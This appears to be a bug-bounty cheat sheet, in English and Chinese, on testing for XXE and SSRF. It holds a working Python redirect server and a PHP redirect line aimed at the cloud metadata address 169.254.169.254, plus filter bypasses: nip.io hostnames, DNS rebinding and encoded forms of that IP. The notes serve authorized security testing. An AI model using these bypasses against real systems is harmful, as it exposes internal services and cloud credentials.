BountyTips
XXE
Some methods to check XXE
vuln 1- Convert the content type from "application/json"/"application/x-www-form-urlencoded" to "applcation/xml".
2- If svg allowed in picture upload , you can inject xml in svgs.
关键:允许上传SVG
SSRF
302
#!/usr/bin/env python3
import sys
from http.server import HTTPServer, BaseHTTPRequestHandler
if len(sys.argv)-1 != 2:
print("""
Usage: {} <port_number> <url>
""".format(sys.argv[0]))
sys.exit()
class Redirect(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(307)
self.send_header('Location', sys.argv[2])
self.end_headers()
HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()
常见出现SSRF参数
dest
redirect
uri
path
continue
url
window
next
data
reference
site
html
val
validate
domain
callback
return
page
feed
host
port
to
out
view
dir
show
navigation
相关Burp插件HUNT
常见出现SSRF功能点
- Webhook 集成
- 假设我们正在测试一个处理发票的 Web 应用程序。开发人员希望提供一个与其他服务集成的通用解决方案,因此他们实现了 Webhooks。可以设置应用程序,以便在创建发票时,它将向用户选择的任意服务器发送 HTTP 请求 (webhook),其中包含刚刚创建的发票的详细信息。
- 文件导入
- 例如,社交媒体应用程序需要上传个人资料图片。在某些情况下,应用程序允许从 URL 导入文件,而不是直接上传。
- PDF 生成器
常见绕过方法
使用主机名而不是 IP
有时,开发者直接禁止使用169.254.169.254。在这种情况下,我们可以简单地使用解析为相同 IP 地址的主机名。Nip.io 允许任何 IP 地址使用简单的通配符 DNS;这里有些例子。所有这些都解析为 169.254.169.254。
- 169.254.169.254.nip.io
- 169-254-169-254.nip.io
- a9fea9fe.nip.io(十六进制 IP 表示法)
- Something.google.com.169.254.169.254.nip.io
HTTP 重定向
假设我们可以向 customdomain.com 发出请求,但不能向 169.254.169.254 发出请求。
我们可以在 customdomain.com 上托管一个简单的脚本,将 302 重定向到 169.254.169.254。如果易受攻击的端点遵循重定向但不检查它们,我们就有了 SSRF!
下面是一个用于执行重定向的简单 PHP 脚本。
<?php header(“Location: http://169.254.169.254/”) ?>
DNS Rebinding
许多应用程序尝试使用如下所示的代码模式来阻止 SSRF 尝试:
func fetch_if_allowed(url string){
if ip_is_blocked(resolve($url)){
return false
} else {
fetch($url)
}
}
此代码容易受到一种TOCTOU (time-of-check, time-of-use) 名为 DNS重绑定漏洞影响
check和use之间有时差。攻击者可以设置一个 DNS 服务器,该服务器对交替请求响应两个不同的 IP 地址,一个通过ip_is_blocked ()函数允许,另一个则不允许。
在这种情况下,我们可以设置一个 DNS 重新绑定服务,例如Taviso 的 rbndr,每秒解析为 1.1.1.1,每隔一次解析为 169.254.169.254。当第一次解析域时,应用程序发现它解析为 1.1.1.1,并允许代码流入 else语句,在该语句中再次解析域 - 这次解析为 169.254.169.254。
非标准 IP 表示法
- 025177524776(八进制)
- 0xa9fea9fe(十六进制)
- 2852039166(整数)
- ::ffff:a9fe:a9fe (IPv6)
Refence:
https://labs.detectify.com/2022/09/23/ssrf-vulns-and-where-to-find-them/